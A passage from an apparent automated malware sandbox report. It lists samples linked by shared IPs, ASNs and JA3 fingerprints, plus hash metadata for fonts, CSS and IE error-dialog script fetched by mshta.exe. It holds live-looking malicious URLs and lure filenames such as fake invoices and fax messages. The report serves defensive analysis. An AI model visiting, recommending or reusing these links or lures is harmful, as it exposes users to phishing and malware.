                                                              SecuriteInfo.com.Exploit.Siggen3.17232.13662.xlsGet hashmaliciousBrowse
                                                              • 187.45.240.69
                                                              SecuriteInfo.com.Exploit.Siggen3.17149.21631.xlsGet hashmaliciousBrowse
                                                              • 187.45.240.69
                                                              SecuriteInfo.com.Exploit.Siggen3.17232.10970.xlsGet hashmaliciousBrowse
                                                              • 187.45.240.69
                                                              SecuriteInfo.com.Exploit.Siggen3.17232.7754.xlsGet hashmaliciousBrowse
                                                              • 187.45.240.69
                                                              SecuriteInfo.com.Exploit.Siggen3.17232.10473.xlsGet hashmaliciousBrowse
                                                              • 187.45.240.69
                                                              SecuriteInfo.com.Exploit.Siggen3.17149.32408.xlsGet hashmaliciousBrowse
                                                              • 187.45.240.69
                                                              SecuriteInfo.com.Exploit.Siggen3.17232.17500.xlsGet hashmaliciousBrowse
                                                              • 187.45.240.69
                                                              SecuriteInfo.com.Exploit.Siggen3.17149.14541.xlsGet hashmaliciousBrowse
                                                              • 187.45.240.69
                                                              netdna.bootstrapcdn.comSecuriteInfo.com.Exploit.Siggen3.17149.21631.xlsGet hashmaliciousBrowse
                                                              • 104.18.10.207
                                                              SecuriteInfo.com.Exploit.Siggen3.17149.32408.xlsGet hashmaliciousBrowse
                                                              • 104.18.11.207
                                                              SecuriteInfo.com.Exploit.Siggen3.17149.14541.xlsGet hashmaliciousBrowse
                                                              • 104.18.10.207
                                                              http://msd89047.simplesite.comGet hashmaliciousBrowse
                                                              • 104.18.10.207
                                                              http://www.weatherfor.us/load.php?location=Alton+Bay,+New+Hampshire+&unit=fGet hashmaliciousBrowse
                                                              • 104.18.11.207
                                                              https://dolopenbids.comGet hashmaliciousBrowse
                                                              • 104.18.11.207
                                                              https://filev.io/r/s/2c78c3bpc4Teo0zgQZRKEz4rkqo740AxDzMcfDZfCtTSA3i4Zqm561nNGet hashmaliciousBrowse
                                                              • 104.18.11.207
                                                              http://emfs.co.za/wp-content/uploads/emfs-popia-privacy-policy-final.pdfGet hashmaliciousBrowse
                                                              • 104.18.11.207
                                                              http://psce.pw/49mgvl/Mg841fiGet hashmaliciousBrowse
                                                              • 104.18.11.207
                                                              https://luka-petek.com/backagain/home/Get hashmaliciousBrowse
                                                              • 104.18.11.207
                                                              http://www.ahrens.com.au/ahrens-company-reviewGet hashmaliciousBrowse
                                                              • 104.18.11.207
                                                              https://hubs.ly/Q015VyKc0#service.desk@vaelia.fr&10Get hashmaliciousBrowse
                                                              • 104.18.10.207
                                                              facon_defense_ukrainienne_ru_2022.docxGet hashmaliciousBrowse
                                                              • 104.18.10.207
                                                              mal1.htmlGet hashmaliciousBrowse
                                                              • 104.18.11.207
                                                              new_fax_message.htmlGet hashmaliciousBrowse
                                                              • 104.18.11.207
                                                              hwJn3new_fax-message.htmlGet hashmaliciousBrowse
                                                              • 104.18.10.207
                                                              ATBDiek3u4.htmlGet hashmaliciousBrowse
                                                              • 104.18.11.207

                                                              ASNs

                                                              MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                              CLOUDFLARENETUS00187679526.xlsxGet hashmaliciousBrowse
                                                              • 172.67.74.85
                                                              SecuriteInfo.com.Exploit.Siggen3.17149.21631.xlsGet hashmaliciousBrowse
                                                              • 104.18.10.207
                                                              SecuriteInfo.com.Trojan7000000f1.4274.exeGet hashmaliciousBrowse
                                                              • 162.159.129.233
                                                              SecuriteInfo.com.Exploit.Siggen3.17149.32408.xlsGet hashmaliciousBrowse
                                                              • 104.18.11.207
                                                              SWIFT COPY & ADVICE.vbsGet hashmaliciousBrowse
                                                              • 188.114.97.3
                                                              SecuriteInfo.com.Exploit.Siggen3.17149.14541.xlsGet hashmaliciousBrowse
                                                              • 104.18.10.207
                                                              j5qTX83wwG.exeGet hashmaliciousBrowse
                                                              • 104.18.115.97
                                                              ATT11280.htmGet hashmaliciousBrowse
                                                              • 104.17.25.14
                                                              DHL_227040 al#U0131nd#U0131 belgesi,pdf.exeGet hashmaliciousBrowse
                                                              • 162.159.135.233
                                                              Fab's AutoBackup Pro 7.10.0 Build 5673.exeGet hashmaliciousBrowse
                                                              • 188.114.97.3
                                                              VThQPDycxy.batGet hashmaliciousBrowse
                                                              • 104.21.43.80
                                                              NextEra RFQ and Business Proposition.docxGet hashmaliciousBrowse
                                                              • 104.18.11.207
                                                              Fab's AutoBackup Pro 7.10.0 Build 5673.exeGet hashmaliciousBrowse
                                                              • 188.114.96.3
                                                              INVOICES [W_ID11942885].exeGet hashmaliciousBrowse
                                                              • 104.18.114.97
                                                              PO#2022CTV05-47.exeGet hashmaliciousBrowse
                                                              • 188.114.96.3
                                                              https://siasky.net/KAAceK5527HyhKBu2WqRItTIifnOrPzVEjPuMqlXUlKRBQGet hashmaliciousBrowse
                                                              • 104.18.11.207
                                                              https://1drv.ms/o/s!BNQ8gxErh5UyqzXqmlklq3e6FqQy?e=zWDj8VlDB0yYeUjfLHMDHg&at=9Get hashmaliciousBrowse
                                                              • 104.17.25.14
                                                              http://asweptomnd.bluwma.ml/5690394.htmlGet hashmaliciousBrowse
                                                              • 104.21.25.221
                                                              1.exeGet hashmaliciousBrowse
                                                              • 104.21.22.60
                                                              gen_signed.apkGet hashmaliciousBrowse
                                                              • 104.17.25.14
                                                              LocawebServicosdeInternetSABRSecuriteInfo.com.Exploit.Siggen3.17232.14069.xlsGet hashmaliciousBrowse
                                                              • 187.45.240.69
                                                              SecuriteInfo.com.Exploit.Siggen3.17232.19740.xlsGet hashmaliciousBrowse
                                                              • 187.45.240.69
                                                              SecuriteInfo.com.Exploit.Siggen3.17232.13662.xlsGet hashmaliciousBrowse
                                                              • 187.45.240.69
                                                              SecuriteInfo.com.Exploit.Siggen3.17149.21631.xlsGet hashmaliciousBrowse
                                                              • 187.45.240.69
                                                              SecuriteInfo.com.Exploit.Siggen3.17232.10970.xlsGet hashmaliciousBrowse
                                                              • 187.45.240.69
                                                              SecuriteInfo.com.Exploit.Siggen3.17232.7754.xlsGet hashmaliciousBrowse
                                                              • 187.45.240.69
                                                              SecuriteInfo.com.Exploit.Siggen3.17232.10473.xlsGet hashmaliciousBrowse
                                                              • 187.45.240.69
                                                              SecuriteInfo.com.Exploit.Siggen3.17149.32408.xlsGet hashmaliciousBrowse
                                                              • 187.45.240.69
                                                              SecuriteInfo.com.Exploit.Siggen3.17232.17500.xlsGet hashmaliciousBrowse
                                                              • 187.45.240.69
                                                              SecuriteInfo.com.Exploit.Siggen3.17149.14541.xlsGet hashmaliciousBrowse
                                                              • 187.45.240.69
                                                              CLqMCUCXCOGet hashmaliciousBrowse
                                                              • 177.153.108.0
                                                              i586-20220727-1401Get hashmaliciousBrowse
                                                              • 187.45.228.62
                                                              iGV79YZMmbGet hashmaliciousBrowse
                                                              • 177.153.108.0
                                                              6I5XtNRL9GGet hashmaliciousBrowse
                                                              • 177.153.67.72
                                                              EpPaMqfNeW.dllGet hashmaliciousBrowse
                                                              • 191.252.215.112
                                                              2rUwZEC2EL.dllGet hashmaliciousBrowse
                                                              • 189.126.97.165
                                                              9818t9ks1s.dllGet hashmaliciousBrowse
                                                              • 189.126.111.200
                                                              uVPWqAOMKn.dllGet hashmaliciousBrowse
                                                              • 189.126.111.200
                                                              psIFSn7VLi.dllGet hashmaliciousBrowse
                                                              • 189.126.111.200
                                                              wkem8JysLw.exeGet hashmaliciousBrowse
                                                              • 186.202.153.98

                                                              JA3 Fingerprints

                                                              MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                              7dcce5b76c8b17472d024758970a406b00187679526.xlsxGet hashmaliciousBrowse
                                                              • 142.250.181.238
                                                              SecuriteInfo.com.Exploit.Siggen3.17149.21631.xlsGet hashmaliciousBrowse
                                                              • 142.250.181.238
                                                              SecuriteInfo.com.Exploit.Siggen3.17149.32408.xlsGet hashmaliciousBrowse
                                                              • 142.250.181.238
                                                              SecuriteInfo.com.Exploit.Siggen3.17149.14541.xlsGet hashmaliciousBrowse
                                                              • 142.250.181.238
                                                              PO#166809.xlsxGet hashmaliciousBrowse
                                                              • 142.250.181.238
                                                              ATT11280.htmGet hashmaliciousBrowse
                                                              • 142.250.181.238
                                                              NextEra RFQ and Business Proposition.docxGet hashmaliciousBrowse
                                                              • 142.250.181.238
                                                              BL-20-89DS.docxGet hashmaliciousBrowse
                                                              • 142.250.181.238
                                                              NOA & Pre-loading docs of CBHU9101956.docxGet hashmaliciousBrowse
                                                              • 142.250.181.238
                                                              Product_specification_1.docxGet hashmaliciousBrowse
                                                              • 142.250.181.238
                                                              test.py.xlsGet hashmaliciousBrowse
                                                              • 142.250.181.238
                                                              test.py.xlsGet hashmaliciousBrowse
                                                              • 142.250.181.238
                                                              NOA & Pre-loading docs of CBHU9101956.docxGet hashmaliciousBrowse
                                                              • 142.250.181.238
                                                              NewXOrder.xlsmGet hashmaliciousBrowse
                                                              • 142.250.181.238
                                                              template[1].docGet hashmaliciousBrowse
                                                              • 142.250.181.238
                                                              8SCdyagBIS.docGet hashmaliciousBrowse
                                                              • 142.250.181.238
                                                              nwes.org.uk HENDERSON TRUST BID PACKAGE pdf.htmGet hashmaliciousBrowse
                                                              • 142.250.181.238
                                                              B86i0Iwc4H.docxGet hashmaliciousBrowse
                                                              • 142.250.181.238
                                                              Pay-Inv-890765.htmGet hashmaliciousBrowse
                                                              • 142.250.181.238
                                                              NEW ORDER EM067022.docxGet hashmaliciousBrowse
                                                              • 142.250.181.238

                                                              Dropped Files

                                                              ⊘No context

                                                              Created / dropped Files

                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\MP98E46N\facextrade.com[1].xml

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):13
                                                              Entropy (8bit):2.469670487371862
                                                              Encrypted:false
                                                              SSDEEP:3:D90aKb:JFKb
                                                              MD5:C1DDEA3EF6BBEF3E7060A1A9AD89E4C5
                                                              SHA1:35E3224FCBD3E1AF306F2B6A2C6BBEA9B0867966
                                                              SHA-256:B71E4D17274636B97179BA2D97C742735B6510EB54F22893D3A2DAFF2CEB28DB
                                                              SHA-512:6BE8CEC7C862AFAE5B37AA32DC5BB45912881A3276606DA41BF808A4EF92C318B355E616BF45A257B995520D72B7C08752C0BE445DCEADE5CF79F73480910FED
                                                              Malicious:false
                                                              Reputation:high, very likely benign file
                                                              Preview:<root></root>

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\S6u8w4BMUTPHh30AXC-u[1].eot

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:Embedded OpenType (EOT), Lato Hairline family
                                                              Category:downloaded
                                                              Size (bytes):21906
                                                              Entropy (8bit):7.967838538437944
                                                              Encrypted:false
                                                              SSDEEP:384:VFJHGuN6qSpebL2RIS+Xv4nRE0661wyGSD37OhAVT/VJqVL89X:VFTEqFbCOS+/cz1wyRD3+u/zqd8d
                                                              MD5:AC3C05998D9A3A94292ADB42CA4402D0
                                                              SHA1:F15C88C7820DACCFA39D9007E7BF98652D2DAA2C
                                                              SHA-256:C27571B00544786FF1223F04E4254433CECB80A49DDC1605968FB8ED0FB2E46B
                                                              SHA-512:30F0F74DB92E2D943D8994E6ED8E9E54CA47861AFCBC612D0002E4C97C0FF83E395FC258DC4C649283F9F8EF49A167A29BB4AC3840D0D7E072C4CCCF408119A3
                                                              Malicious:false
                                                              Reputation:low
                                                              IE Cache URL:http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot
                                                              Preview:.U...T............................LP'...J.............. ....@..y....................L.a.t.o. .H.a.i.r.l.i.n.e.....R.e.g.u.l.a.r...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o.-.H.a.i.r.l.i.n.e.....BSGP...................`.=..>..50....`.W.hKr{z~"U:b,/.ezS..........-A.RC...x....E.57z.....%)..;".I^...s..N......!....*.-..m."....Yb..qrS.a..N..B....~......m..X._.^.V.".2...3Q..qM.nl....U.7..M.D..j..9..C..]..X...L'.s..:...[.b....x>...6.5}_.;.......v...s.`.......E....&.nV..M.(iy..Mi1...(q...........s..L.H.'y..O..CL..y......S...E.#@.l..............X.....A....0".Ju./..#.......]....5o8I..|.A...$...Q.qmE.m.q..@.Y...x..J4.$$.. ?...D...g.z..\fq...(o;LX.`U......J2Q..i..1....9......u....L.mSn.......t...d....).....[L7.0.}.A..E.m.P..F.i'h..........0..Z\...1.{.y..i..**...M@..M.6...h.ha`.`....!.H...K..y._.........t-..C..w.......Zi..P...\.<K...z4Q..\.....:jcU.......F.6.n.......F.>0@.a@.@.........|.d=...Re..sG..=.= ....X@..G...p;...

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\S6u9w4BMUTPHh50XSwiPHQ[1].eot

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:Embedded OpenType (EOT), Lato Black family
                                                              Category:downloaded
                                                              Size (bytes):25451
                                                              Entropy (8bit):7.969770648296379
                                                              Encrypted:false
                                                              SSDEEP:768:HoV31fm0ipzey9jR/tzFC+THGz4x8SJG2Xeog:HoVFuNP/3CdSLOt
                                                              MD5:0AD19DEC4DE4F225CBF95946B07F03F0
                                                              SHA1:4ED5339BEAA5683AEAE65BB1E4B48A877EDDBB65
                                                              SHA-256:9D42496620626D2D3AC3022B36A1671BEE2F23B86A147440C92316380FB30BBD
                                                              SHA-512:22A7EC99DD4068291486B54832B895BD0766E5710DC0622FBF0A2FA3A2EB98EF12AB1B37210CAD603DF4709719E051D91F1ACCE17B9DC20E72C410AAE3A7D346
                                                              Malicious:false
                                                              IE Cache URL:http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot
                                                              Preview:kc..mb............................LP'...J.............. .....7.n....................L.a.t.o. .B.l.a.c.k.....R.e.g.u.l.a.r...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o. .B.l.a.c.k.....BSGP.....................A^.G>.3........ZB....D...X,S..O...G.cu.b.>Nj....l.\t.bcA.85..N.~.X...l..%HL...a.EY.I.....zF........m.V..O.....x#E...:..T[q;Q....}.@`>..... cu)...4Y.9/.....:.._....d....-.9....NSe...NF.Q.5.(<,..C..F...>..~..p...t.....2.|5..p.c_.(B...H..*%........Ma.3Y..4$o...l .....@6...6.].]....... ......4@..t.B!.2.-.O...&.y.v.....4J@.E...TDCr..)..U..V..%.%.5.....7E.m_x"..<T...Il..O.%Q...x.5......]..fB.< .H..0h`......y..\.y.Q..&...O.........vs......t...|.GS0...H.:..].t.u....*..9..LBfb&&..A..L},..P.cOy...B.O%..H..UX<X=X>PCPk...H.Q..!T".A..4/\b..7..!...........W.|E...n...w0v....j;.....?<..w.Q.r.$$x......oy..O9...^...g@..r....9....vCr..v....m....MPOo..,"..(.E.f...?..d.M..hT.P.u..`d8_#....&.}...|k...>e...*;>1.O.$.P{..ao.

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\S6u9w4BMUTPHh6UVSwiPHQ[1].eot

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:Embedded OpenType (EOT), Lato family
                                                              Category:downloaded
                                                              Size (bytes):26118
                                                              Entropy (8bit):7.970184406626934
                                                              Encrypted:false
                                                              SSDEEP:768:Il7bajNBleEzCTFhEctniWorQDzlIgJg4Qf06Fzq1qZ:IsjNe2SjtLor6lTcf0yzIqZ
                                                              MD5:57425A0BD70ABEC6F5FD38D3B2507E89
                                                              SHA1:6F7576213E3FCC093C38C96DB22EC701A1E6EAAA
                                                              SHA-256:AB98070851F53310219E56128C117B5BA13BC63B822637B1B1103277C1E3010C
                                                              SHA-512:6AC3F2676A83839DCEE79D501ABDE1FF4F04D818654489A949172800406E5F9034085C861BB4EB734F92478F870C795640C32D087FBCD3F9E25984B30E3A6FE4
                                                              Malicious:false
                                                              IE Cache URL:http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot
                                                              Preview:.f...e............................LP'...J.............. ....Z.i.....................L.a.t.o.....B.o.l.d...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o. .B.o.l.d.....BSGP.....................C..I..4........ZB....D...X,S..O.......l.i...@.`..#....OjOz.....@....Y%hC..9......A..h...0..uH....n-)5.u[....W.u.....EE..j5.0.g......j'[.~.2Nv..le.'V.o.r........P}....c.....J.J.......j.2...>...(.*J.:g..W..Q..X...f..).>........./(.%.7(.".......f1.....v9......O4...@..].Kv..'.>......&H.c...0>..9#...}....I+#W....".%p&.Yr.I5.............S..,$...&m.&1. ..!..U..^Y.0413l.9 .Q.........{Csw....f....X.P'.....R216...=E.g.7..T..5..m.>c....C.O.}C.X.../y\.$ ......4.......u.R......R.+..G.S.I.I.*.D&....b....+.o....[@.#n.4.<.D....$a....y.+....A.K.rF.....`.\.Z.AQG.@mD.......'|.........80...c..a..5.{..Y8......9.q".!.....R<v...g3....B.T.]>.....#...x...0..<..D.._.=...t.:8....G]..;L...\q.F.C..f._.@..9g..kp...:N.HB..B..}.%..R..T%[.$z

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\S6u9w4BMUTPHh7USSwiPHQ[1].eot

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:Embedded OpenType (EOT), Lato Light family
                                                              Category:downloaded
                                                              Size (bytes):24456
                                                              Entropy (8bit):7.962811770770542
                                                              Encrypted:false
                                                              SSDEEP:384:rD2u7JY1e7uWKgCWOv1x21IA3qjRD7yKbev6YyNPpEaQsclWZaXVCqDoH9Hjl9uL:NuW3vOv1sk1DWKC6YyeH9FVCVHJYpTIc
                                                              MD5:D07A3DF5EB89A8BBEA764021336FC851
                                                              SHA1:4168D287AB866CC21F47FC5DCF62B6871DFB210D
                                                              SHA-256:79AD628A22C9AA1A8D30C9F5920D7F432F51804B9750BFE907C3A10D46CDB445
                                                              SHA-512:BA7378D7DBA3C8BBAD610BAAE431339D121B0FE4B2876A1A1E87D9837053F6AC006490B959798B304BA6A96893D0250510FB077D556D2BCA056EE81A2A8970EB
                                                              Malicious:false
                                                              IE Cache URL:http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot
                                                              Preview:._...^......................,.....LP'...J.............. ......N.....................L.a.t.o. .L.i.g.h.t.....R.e.g.u.l.a.r...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o.-.L.i.g.h.t.....BSGP...................?.@..A..2~....`.W.hKr{z~"U:b,/.ezS..........-A.RC...x....E.57z.....%)..nE.'.....`!a........*.,~.[A.p2..X.8.\..XO.r*..F. N..k..P.[..]ooQ. ...zeX.....q....%4...nR....z.f.L.~6C.c...!..~Wi..V....z....h.......Z.*...&..MOx.N...6....twP,y3....;.b...I..mR.8..........f....9Z$..^....._..'...K..P%.Qz:..A..].....U..l.Z.ci}0.|. ."'`.<............0x..i..h...Ra.....h.V.v..../C"M..DH. .>.D..J.....U.....c....)"....X..$..0o..?#..a.ep..f..#L.f..F[B.R...!.n..l.4..y..<...1..}..4....F..v.y7..9...<.A.=..>..n3#.`}@j...D.b.....U.r........."....8.9.I......L...t.4....f.&...;D.....u0W.U..^Cy..>..Q..#.OQ[Xn..6...?U.FY....m...)K.AE.(8."...j...^...B....kc]....b.'..;A..v........U.9%.........r.....h..k..K..G..)..^..OwV>!=.w.H....`.v+(

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\S6uyw4BMUTPHjx4wWg[1].eot

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:Embedded OpenType (EOT), Lato family
                                                              Category:downloaded
                                                              Size (bytes):26669
                                                              Entropy (8bit):7.969873501177376
                                                              Encrypted:false
                                                              SSDEEP:384:3o0KhHhcVoBbXSW9jDQfwYejcrqTGOBnhwHAVKnn5DwVGUDucy6RormfvtZk+:YP2Ob/DowqrMnhwHZntuHRy62rmf8+
                                                              MD5:F0AA40EA96D1920A1A96329B4A35EDED
                                                              SHA1:31E6A2EAF78903F0487F2DB6319D7A8E5186C218
                                                              SHA-256:E745A8D2C87907FEE0267896B226BCAD1A2634A8C6826BC284F06875B14F0E60
                                                              SHA-512:B22522660F8C966675003E592DE0A7338BB08E68456BBDF661FFAEC3CB9B33D71C63C870C30A0177A32AA2E1EF5014DF27F57D67AB21690D36FB0FF360722680
                                                              Malicious:false
                                                              IE Cache URL:http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot
                                                              Preview:-h..7g............................LP'...J.............. ......>.....................L.a.t.o.....R.e.g.u.l.a.r...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o. .R.e.g.u.l.a.r.....BSGP.....................B..H..3........ZB....D...X,S..O...G.cu.b.>Nj....l.\t.bcA.85..N.~.X...d..%HL...a.EY.I....QL...,.#0...m.V.E)...L7.E)......T[t;T.... 0.\y.b{l.d..Jplc.,.....*..9...K..}.Q..|..W...3.q..rt..G#W....q....&.V_.bh.ql..z[.>....,. ......1.AfE.....q.2.e...d.....+o>....)..1f..2.~.|.../.."..k0.).......Bzj"&~.J..pF1V3......Q..&R..H...O`..Z*.n.a.h@.e.Z.,<Ex./......%..#C....##...&. ..ub...{..x.h.TA.....0OA:.8....E...}...H...ZN.f...s..g&..~y.Q;9......;.X..S...x..g..I.O.JX.k............!...h_...........Q. .\L.^.f.n.t.|.Y..j)..G..{.....`.V..ZM.b.+.v-..X.XMQ......A.../..C....N......4Xi..a..e...v..?......=..4O......Og.S`.W.&..w.>...>.....Hu.......5....."...........r.._..M:.k...q..O9....Fy.2.1...y)..[.F4.d~.........0./...^L

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\camera[1].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):26264
                                                              Entropy (8bit):5.17784391797181
                                                              Encrypted:false
                                                              SSDEEP:192:D4Js/c+wkDZnVwkExwkBxN7ZDFBxJbtLwb/+luajba3RI4zQDaRzBBpCJyJUt:OeZnMRUCJyJUt
                                                              MD5:4801E1D3D131C3628342CAACC406479D
                                                              SHA1:3078A5FC945049A7B9E90829123ACAE900C74324
                                                              SHA-256:3DF13F8DC45F6168A5EFF9BB8F32FA6807BA3EFE0DB1F76CE808BB7B0F48CA01
                                                              SHA-512:9863D94FECA024EE25B8D1F93F20D0E2E86A9E884C6E3325149DE148F12F54DF82DF2FA0995FBC3FC3C66B4AB15382251703CEE2C7A623CCB86B19601B9E6B1D
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.css
                                                              Preview:/**************************.*.*.GENERAL.*.**************************/..camera_wrap a, .camera_wrap img, ..camera_wrap ol, .camera_wrap ul, .camera_wrap li,..camera_wrap table, .camera_wrap tbody, .camera_wrap tfoot, .camera_wrap thead, .camera_wrap tr, .camera_wrap th, .camera_wrap td..camera_thumbs_wrap a, .camera_thumbs_wrap img, ..camera_thumbs_wrap ol, .camera_thumbs_wrap ul, .camera_thumbs_wrap li,..camera_thumbs_wrap table, .camera_thumbs_wrap tbody, .camera_thumbs_wrap tfoot, .camera_thumbs_wrap thead, .camera_thumbs_wrap tr, .camera_thumbs_wrap th, .camera_thumbs_wrap td {..background: none;..border: 0;..font: inherit;..font-size: 100%;..margin: 0;..padding: 0;..vertical-align: baseline;..list-style: none.}..camera_wrap {..display: none;..float: left;..position: relative;..z-index: 0;.}..camera_wrap img {..max-width: none!important;.}..camera_fakehover {..height: 100%;..min-height: 60px;..position: relative;..width: 100%;..z-index: 1;.}..camera_wrap {..width: 100%;.}..camera_sr

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\error[1]

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:UTF-8 Unicode (with BOM) text, with CRLF line terminators
                                                              Category:dropped
                                                              Size (bytes):1706
                                                              Entropy (8bit):5.274543201400288
                                                              Encrypted:false
                                                              SSDEEP:48:NIAbzyYh8rRLkRVNaktqavP61GJZoF+SMy:xWqxztqaHO
                                                              MD5:B9BEC45642FF7A2588DC6CB4131EA833
                                                              SHA1:4D150A53276C9B72457AE35320187A3C45F2F021
                                                              SHA-256:B0ABE318200DCDE42E2125DF1F0239AE1EFA648C742DBF9A5B0D3397B903C21D
                                                              SHA-512:C119F5625F1FC2BCDB20EE87E51FC73B31F130094947AC728636451C46DCED7B30954A059B24FEF99E1DB434581FD9E830ABCEB30D013404AAC4A7BB1186AD3A
                                                              Malicious:false
                                                              Preview:...window.onerror = HandleError..function HandleError(message, url, line)..{..var str = L_Dialog_ErrorMessage + "\n\n"..+ L_ErrorNumber_Text + line + "\n"..+ message;..alert (str);..window.close();..return true;..}..function loadBdy()..{..var objOptions = window.dialogArguments;..btnNo.onclick = new Function("btnOKClick()");..btnNo.onkeydown = new Function("SwitchFocus()");..btnYes.onclick = new Function("btnYesClick()");..btnYes.onkeydown = new Function("SwitchFocus()");..document.onkeypress = new Function("docKeypress()");..spnLine.innerText = objOptions.getAttribute("errorLine");..spnCharacter.innerText = objOptions.getAttribute("errorCharacter");..spnError.innerText = objOptions.getAttribute("errorMessage");..spnCode.innerText = objOptions.getAttribute("errorCode");..txaURL.innerText = objOptions.getAttribute("errorUrl");..if (objOptions.errorDebug)..{..divDebug.innerText = L_ContinueScript_Message;..}..btnYes.focus();..}..function SwitchFocus()..{..var HTML_KEY_ARROWLEFT = 37;..

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\error[2]

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:UTF-8 Unicode (with BOM) text, with CRLF line terminators
                                                              Category:dropped
                                                              Size (bytes):1706
                                                              Entropy (8bit):5.274543201400288
                                                              Encrypted:false
                                                              SSDEEP:48:NIAbzyYh8rRLkRVNaktqavP61GJZoF+SMy:xWqxztqaHO
                                                              MD5:B9BEC45642FF7A2588DC6CB4131EA833
                                                              SHA1:4D150A53276C9B72457AE35320187A3C45F2F021
                                                              SHA-256:B0ABE318200DCDE42E2125DF1F0239AE1EFA648C742DBF9A5B0D3397B903C21D
                                                              SHA-512:C119F5625F1FC2BCDB20EE87E51FC73B31F130094947AC728636451C46DCED7B30954A059B24FEF99E1DB434581FD9E830ABCEB30D013404AAC4A7BB1186AD3A
                                                              Malicious:false
                                                              Preview:...window.onerror = HandleError..function HandleError(message, url, line)..{..var str = L_Dialog_ErrorMessage + "\n\n"..+ L_ErrorNumber_Text + line + "\n"..+ message;..alert (str);..window.close();..return true;..}..function loadBdy()..{..var objOptions = window.dialogArguments;..btnNo.onclick = new Function("btnOKClick()");..btnNo.onkeydown = new Function("SwitchFocus()");..btnYes.onclick = new Function("btnYesClick()");..btnYes.onkeydown = new Function("SwitchFocus()");..document.onkeypress = new Function("docKeypress()");..spnLine.innerText = objOptions.getAttribute("errorLine");..spnCharacter.innerText = objOptions.getAttribute("errorCharacter");..spnError.innerText = objOptions.getAttribute("errorMessage");..spnCode.innerText = objOptions.getAttribute("errorCode");..txaURL.innerText = objOptions.getAttribute("errorUrl");..if (objOptions.errorDebug)..{..divDebug.innerText = L_ContinueScript_Message;..}..btnYes.focus();..}..function SwitchFocus()..{..var HTML_KEY_ARROWLEFT = 37;..

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\gtranslate-style24[1].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):693
                                                              Entropy (8bit):4.934608717734217
                                                              Encrypted:false
                                                              SSDEEP:12:4IYVc5Y6ls3SFy4n51hHSs5n8oD6jc5n8JH6uDvKROYABO0b2TLx3OsqTLxN8QOX:4IYVc5Y6B51hys5n8G6jc5n8JH6uDvKX
                                                              MD5:9B0F26CF8D22D4E9455F67B21C2F9759
                                                              SHA1:F0240A4411D4A2EB073C574D37618E503392B76E
                                                              SHA-256:226456D9A9EEF8F0831B6B181BE100A49CBAEC1651A8BD45D7D0CC897D161538
                                                              SHA-512:FB5BA2942B79906FD59181F39F3C753D9950AB5502A56A3D164DFF50516CC70149EA68D3478F4B7ADC09E7FB67FD8519FF83EFD5089FA51B1B85400C50641D4B
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20
